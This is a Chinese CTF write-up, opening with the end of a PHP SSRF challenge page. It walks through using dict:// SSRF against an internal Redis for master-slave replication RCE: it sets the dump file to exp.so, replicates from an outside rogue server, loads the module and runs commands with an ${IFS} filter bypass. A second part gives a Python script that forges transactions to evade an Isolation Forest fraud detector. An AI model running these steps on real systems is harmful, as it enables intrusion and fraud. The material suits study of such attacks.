<input type="text" class="form-input" id="previewUrl" placeholder="http://example.com/image.png">
</div>
<div class="button-group">
<button class="btn btn-primary" onclick="doPreview()">Preview Resource</button>
<button class="btn btn-secondary" onclick="clearResult('preview')">Clear</button>
</div>
<div id="previewResult" class="result-panel"></div>
</div>
</div>
</div>

<div class="content-section" id="advanced-section">
<div class="panel">
<div class="panel-header"><div class="panel-title">Advanced Protocol Tools</div></div>
<div class="form-group">
<label class="form-label">Target URL</label>
<input type="text" class="form-input" id="advancedUrl" placeholder="url">
</div>
<div class="info-grid">
<div class="form-group">
<label class="form-label">Data Key</label>
<input type="text" class="form-input" id="advancedKey" placeholder="key">
</div>
<div class="form-group">
<label class="form-label">Value (Base64)</label>
<input type="text" class="form-input" id="advancedData" placeholder="dGVzdF92YWx1ZQ==">
</div>
</div>
<div class="button-group">
<button class="btn btn-primary" onclick="doAdvanced()">Execute</button>
<button class="btn btn-secondary" onclick="clearResult('advanced')">Clear</button>
</div>
<div id="advancedResult" class="result-panel"></div>
</div>
</div>

<div class="content-section" id="history-section">
<div class="panel">
<div class="panel-header">
<div class="panel-title">Request History</div>
<button class="btn btn-danger" onclick="clearHistory()">Clear History</button>
</div>
<div id="historyContent">
<?php if (count($_SESSION['history']) > 0): ?>
<table class="table">
<thead><tr><th>Time</th><th>URL</th><th>Status</th></tr></thead>
<tbody id="historyTable">
<?php foreach(array_reverse($_SESSION['history']) as $item): ?>
<tr>
<td><?php echo $item['time']; ?></td>
<td style="font-family: monospace; font-size: 12px;"><?php echo htmlspecialchars(substr($item['url'], 0, 80)); ?></td>
<td>
<span class="badge badge-<?php echo $item['status'] === 'Success' ? 'success' : 'danger'; ?>">
<?php echo $item['status']; ?>
</span>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php else: ?>
<div class="empty-state">
<div class="empty-state-icon">📋</div>
<div>No requests recorded yet</div>
</div>
<?php endif; ?>
</div>
</div>
</div>

<div class="content-section" id="settings-section">
<div class="panel">
<div class="panel-header"><div class="panel-title">System Information</div></div>
<div class="info-grid">
<div class="info-item"><div class="info-label">System Version</div><div class="info-value">2.0.1</div></div>
<div class="info-item"><div class="info-label">PHP Version</div><div class="info-value"><?php echo phpversion(); ?></div></div>
<div class="info-item"><div class="info-label">cURL Support</div><div class="info-value"><?php echo function_exists('curl_init') ? 'Enabled' : 'Disabled'; ?></div></div>
<div class="info-item"><div class="info-label">Session ID</div><div class="info-value" style="font-size: 11px;"><?php echo session_id(); ?></div></div>
<div class="info-item"><div class="info-label">Login Time</div><div class="info-value" style="font-size: 12px;"><?php echo $_SESSION['user']['login_time']; ?></div></div>
<div class="info-item"><div class="info-label">Server Time</div><div class="info-value" style="font-size: 12px;"><?php echo date('Y-m-d H:i:s'); ?></div></div>
</div>
</div>
<div class="panel" style="margin-top: 20px;">
<div class="panel-header"><div class="panel-title">Supported Protocols</div></div>
<div class="protocol-badges">
<div class="protocol-badge">HTTP</div><div class="protocol-badge">HTTPS</div><div class="protocol-badge">FTP</div><div class="protocol-badge">GOPHER</div>
</div>
<p style="margin-top: 20px; color: #777; font-size: 14px; line-height: 1.6;">
The system supports multiple protocols for resource fetching. Gopher protocol support is provided for legacy system compatibility.
</p>
</div>
</div>
</div>
</div>
</div>

<script>
// Navigation
document.querySelectorAll('.nav-item').forEach(item => {
item.addEventListener('click', function() {
document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
this.classList.add('active');
const section = this.dataset.section;
document.querySelectorAll('.content-section').forEach(s => s.classList.remove('active'));
document.getElementById(section + '-section').classList.add('active');
});
});

// Tabs
document.querySelectorAll('.tab-btn').forEach(btn => {
btn.addEventListener('click', function() {
const parent = this.closest('.panel');
parent.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
this.classList.add('active');
const tab = this.dataset.tab;
parent.querySelectorAll('.tab-content').forEach(t => t.style.display = 'none');
parent.querySelector('#' + tab + '-tab').style.display = 'block';
});
});

function updateStats() {
fetch('?action=stats')
.then(res => res.json())
.then(data => {
if (data.success) {
document.getElementById('totalRequests').textContent = data.stats.total_requests;
document.getElementById('successRequests').textContent = data.stats.successful_requests;
document.getElementById('failedRequests').textContent = data.stats.failed_requests;
const total = data.stats.total_requests;
const rate = total > 0 ? Math.round((data.stats.successful_requests / total) * 100) : 0;
document.getElementById('successRate').textContent = rate + '%';
}
});
}

function doFetch() {
const url = document.getElementById('fetchUrl').value;
if (!url.trim()) { alert('Please enter a URL'); return; }
const resultDiv = document.getElementById('fetchResult');
resultDiv.innerHTML = '<div class="result-header">Processing request...</div>';
resultDiv.className = 'result-panel show';
fetch('', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'action=fetch&url=' + encodeURIComponent(url)
})
.then(res => res.json())
.then(data => {
resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
if (!data.success) {
resultDiv.innerHTML = '<div class="result-header">Request Failed</div><div class="result-content">Error: ' + data.error + '</div>';
} else {
let html = '<div class="result-header">Request Successful</div>';
html += '<div class="info-grid" style="margin-bottom: 15px;">';
html += '<div class="info-item"><div class="info-label">Size</div><div class="info-value">' + data.size + ' bytes</div></div>';
html += '<div class="info-item"><div class="info-label">Type</div><div class="info-value">' + data.type + '</div></div>';
html += '<div class="info-item"><div class="info-label">HTTP Code</div><div class="info-value">' + data.code + '</div></div>';
html += '<div class="info-item"><div class="info-label">Time</div><div class="info-value">' + data.time + 's</div></div>';
html += '</div>';
html += '<div class="result-content">Base64 Data (first 500 chars):\n' + data.content.substring(0, 500) + '...</div>';
resultDiv.innerHTML = html;
}
updateStats(); loadHistory();
});
}

function doPreview() {
const url = document.getElementById('previewUrl').value;
if (!url.trim()) { alert('Please enter a URL'); return; }
const resultDiv = document.getElementById('previewResult');
resultDiv.innerHTML = '<div class="result-header">Loading preview...</div>';
resultDiv.className = 'result-panel show';
fetch('', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'action=preview&url=' + encodeURIComponent(url)
})
.then(res => res.json())
.then(data => {
resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
if (!data.success) {
resultDiv.innerHTML = '<div class="result-header">Preview Failed</div><div class="result-content">Error: ' + data.error + '</div>';
} else if (data.type === 'image') {
resultDiv.innerHTML = '<div class="result-header">Image Preview</div><div style="text-align: center; padding: 20px;"><img src="data:' + data.mime + ';base64,' + data.data + '" style="max-width: 100%; border-radius: 6px;"></div>';
} else if (data.type === 'text') {
resultDiv.innerHTML = '<div class="result-header">Text Preview</div><div class="result-content">' + data.preview + '\n\nTotal Size: ' + data.length + ' bytes</div>';
} else {
resultDiv.innerHTML = '<div class="result-header">Binary Data</div><div class="result-content">Size: ' + data.size + ' bytes\nType: ' + data.mime + '\n\nBase64 Preview:\n' + data.data.substring(0, 500) + '...</div>';
}
updateStats(); loadHistory();
});
}

function doAdvanced() {
const url = document.getElementById('advancedUrl').value;
const key = document.getElementById('advancedKey').value;
const data = document.getElementById('advancedData').value;
if (!url.trim()) { alert('Please enter a URL'); return; }
const resultDiv = document.getElementById('advancedResult');
resultDiv.innerHTML = '<div class="result-header">Executing...</div>';
resultDiv.className = 'result-panel show';
let body = 'action=fetch&url=' + encodeURIComponent(url);
if (key && data) { body += '&key=' + encodeURIComponent(key) + '&data=' + encodeURIComponent(data); }
fetch('', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: body
})
.then(res => res.json())
.then(data => {
resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
resultDiv.innerHTML = '<div class="result-header">Response</div><div class="result-content">' + JSON.stringify(data, null, 2) + '</div>';
updateStats(); loadHistory();
});
}

function clearResult(type) {
const resultDiv = document.getElementById(type + 'Result');
resultDiv.classList.remove('show');
document.getElementById(type + 'Url').value = '';
}

function loadHistory() {
fetch('?action=history')
.then(res => res.json())
.then(data => {
if (data.success && data.history.length > 0) {
let html = '<table class="table"><thead><tr><th>Time</th><th>URL</th><th>Status</th></tr></thead><tbody>';
data.history.forEach(item => {
html += '<tr><td>' + item.time + '</td><td style="font-family: monospace; font-size: 12px;">' + item.url.substring(0, 80) + '</td>';
html += '<td><span class="badge badge-' + (item.status === 'Success' ? 'success' : 'danger') + '">' + item.status + '</span></td></tr>';
});
html += '</tbody></table>';
document.getElementById('historyContent').innerHTML = html;
}
});
}

function clearHistory() {
if (confirm('Are you sure you want to clear the history?')) {
fetch('?action=clear_history').then(res => res.json()).then(() => {
document.getElementById('historyContent').innerHTML = '<div class="empty-state"><div class="empty-state-icon">📋</div><div>No requests recorded yet</div></div>';
});
}
}
setInterval(updateStats, 5000);
</script>
</body>
</html>

审计了一下源码,可以发现对gopher协议做了处理,熟悉的话一眼就能看出是在限制gopher打redis主从复制rce

查看一下服务器的redis服务有没有开启,以及redis的版本

1
dict://127.0.0.1:6379/info

可以看到redis的版本是符合的(我只知道原题的版本是4.x但是不知道具体的,所以这里是我只是找了一个能打的4.x版本)

这里的打的redis主从复制rce是内网里的,所以跟我之前在春秋云镜靶场里碰到的外网的还不太一样,所以又重新找了一个工具 redis-rogue-server (感觉应该是我之前用到的redis-rogue-server基础上魔改的)

由于gopher协议被做了限制,所以这里使用dict协议

修改 Redis 工作目录到tmp,将 Redis 的持久化文件(RDB)保存路径修改为 /tmp防止权限不足

1
dict://127.0.0.1:6379/config:set:dir:/tmp

将 Redis 保存到磁盘的文件名从默认的 dump.rdb 修改为 exp.so

1
dict://127.0.0.1:6379/config:set:dbfilename:exp.so

接着就是要建立主从复制关系了

在服务器上运行redis-rogue-server用于监听

1
python3 redis-rogue-server.py --server-only

返回到靶机,开始建立主从复制关系

1
dict://127.0.0.1:6379/slaveof:172.1.5.215:21000

返回服务器查看可以看到已经建立成功

建立完后,接下来就是让 Redis 加载刚刚通过同步下载到磁盘的恶意模块exp.so

1
dict://127.0.0.1:6379/module:load:/tmp/exp.so

攻击完成后断开主从关系,抹除痕迹(可选,如果是实战环境就需要这一步)

1
dict://127.0.0.1:6379/slave:no:one

执行命令,可以看到能够成功执行了

1
dict://127.0.0.1:6379/system.exec:whoami

但是打到这里发现空格被过滤了,那么用${IFS}绕过即可

1
dict://127.0.0.1:6379/system.exec:cat${IFS}/f*

最后也是复现成功了

对这到题其实我还挺有感触了,感觉自己在做这道题的时候太被ctf的思想给束缚了,这道题不需要源码也可以做的。其实当时打比赛的时候,我已经测出来gopher没法用,用dict://127.0.0.1:6379/info查看到redis服务是开启的。但是我就是没有往渗透这一方面去想,没想到会是要打redis主从复制rce这一块,明明之前打春秋云镜靶场的时候都碰到过了。。。最后也是错失了这一题的300多分。

AI

The Silent Heist

描述:目标银行部署了一套基于 Isolation Forest (孤立森林) 的反欺诈系统。该系统不依赖传统的黑名单,而是通过机器学习严密监控交易的 20 个统计学维度。系统学习了正常用户的行为模式(包括资金流向、设备指纹的协方差关系等),一旦发现提交的数据分布偏离了“正常模型”,就会立即触发警报。

我们成功截取了一份包含 1000 条正常交易记录的流量日志 (public_ledger.csv)。请你利用统计学方法分析这份数据,逆向推导其多维特征分布规律,并伪造一批新的交易记录。

根据题目描述,我们需要生成伪造的交易数据,使其与正常交易数据的统计分布一致

思路一:从题目给的csv文件中提取原始数据,使用原始数据的均值和协方差矩阵来捕捉特征间的相关性进行多元高斯分布建模,接着确保生成的数据不低于原始数据的最小值,保持数据的合理性,估计所需样本数量,然后批量生成,确保总金额超过200万美元

但是依照这个思路写的代码运行后6000个数据中会有53异常值

思路二:接着改进,将多元高斯分布策略改为重采样 + 扰动”策略直接从原始数据中抽取样本,并加入极其微小的扰动。完美保留原始数据的统计特征、相关性和偏度。

这样运行后就将53个异常值缩小为7个

思路三:加入限制性扰动,确保生成的每一个特征值都在原始数据的 $[min, max]$ 范围内,并且将 noise_scale 进一步从 0.005 降低到 0.002

这样运行后异常值缩小为6

思路四:改变策略为混合抽样,放弃任何“人工生成”的噪声,改用纯净重采样。通过从原始数据中随机组合,并对总额进行精确控制。

这样运行后异常值缩小为1

思路五:最后这一个异常值也是卡了我好久,最后采用严格分布对齐的方式强制所有生成数据在原始数据的 [min, max] 范围内,同时测原始数据中“几乎不变”的列(如类别标签),并对这些列停止添加噪声。

这样运行后就可以得到flag了

以上的调试主要就是修改generate_realistic_data 函数

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
import numpy as np
import socket

def load_data_from_file(filename):
data = []
with open(filename, 'r') as f:
next(f)
for line in f:
row = [float(x) for x in line.strip().split(',')]
data.append(row)
return np.array(data)


def generate_realistic_data(original_data, min_amount=2000000):
X = original_data
n_rows, n_cols = X.shape

col_min = np.min(X, axis=0)
col_max = np.max(X, axis=0)
col_std = np.std(X, axis=0)

current_sum = 0
generated_list = []

NOISE_LEVEL = 0.0002

print(f"执行最终优化:边界锁定 + 选择性扰动...")

while current_sum < min_amount:
idx = np.random.choice(n_rows, size=1000, replace=True)
batch = X[idx].copy()

for j in range(n_cols):
if col_std[j] > 1e-6:
noise = np.random.normal(1.0, NOISE_LEVEL, size=batch[:, j].shape)
batch[:, j] = batch[:, j] * noise

batch[:, j] = np.clip(batch[:, j], col_min[j], col_max[j])

generated_list.append(batch)
current_sum += np.sum(batch[:, 0])

generated = np.vstack(generated_list)

unique_rows = len(np.unique(generated.round(decimals=6), axis=0))
print(f"生成记录: {len(generated)}, 唯一性: {unique_rows}/{len(generated)}")
print(f"最终总金额: {current_sum:,.2f}")

return generated

def format_csv(data):
lines = []
header = ['feat_' + str(i) for i in range(data.shape[1])]
lines.append(','.join(header))

for row in data:
formatted_row = [f"{x:.6f}" for x in row]
lines.append(','.join(formatted_row))

return '\n'.join(lines)


def send_to_server(csv_data, host='123.57.6.94', port=30783):
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(30)

print(f"正在连接到服务器 {host}:{port}...")
s.connect((host, port))
print("连接成功!")

welcome_msg = s.recv(1024).decode()
print("服务器响应:")
print(welcome_msg)

print("正在发送数据...")
s.sendall(csv_data.encode())

s.sendall(b"\nEOF")
print("数据发送完成,包含EOF标记")

print("等待服务器响应...")
response = b""
while True:
try:
chunk = s.recv(1024)
if not chunk:
break
response += chunk
except socket.timeout:
break

if response:
print("服务器最终响应:")
print(response.decode())
else:
print("服务器未返回响应或连接已关闭")

except Exception as e:
print(f"连接或发送过程中发生错误: {e}")
with open('generated_transactions_backup.csv', 'w') as f:
f.write(csv_data)
print("数据已备份到 generated_transactions_backup.csv")


def main():
filename = 'public_ledger.csv'
try:
original_data = load_data_from_file(filename)
except FileNotFoundError:
print(f"错误: 找不到文件 '{filename}'")
return

print(f"原始数据加载成功! 形状: {original_data.shape}")

new_data = generate_realistic_data(
original_data,
min_amount=2000000
)

print("正在格式化并保存数据...")
csv_output = format_csv(new_data)
with open('generated_transactions.csv', 'w') as f:
f.write(csv_output)

print("\n准备发送数据到服务器...")
send_to_server(csv_output)


if __name__ == '__main__':
main()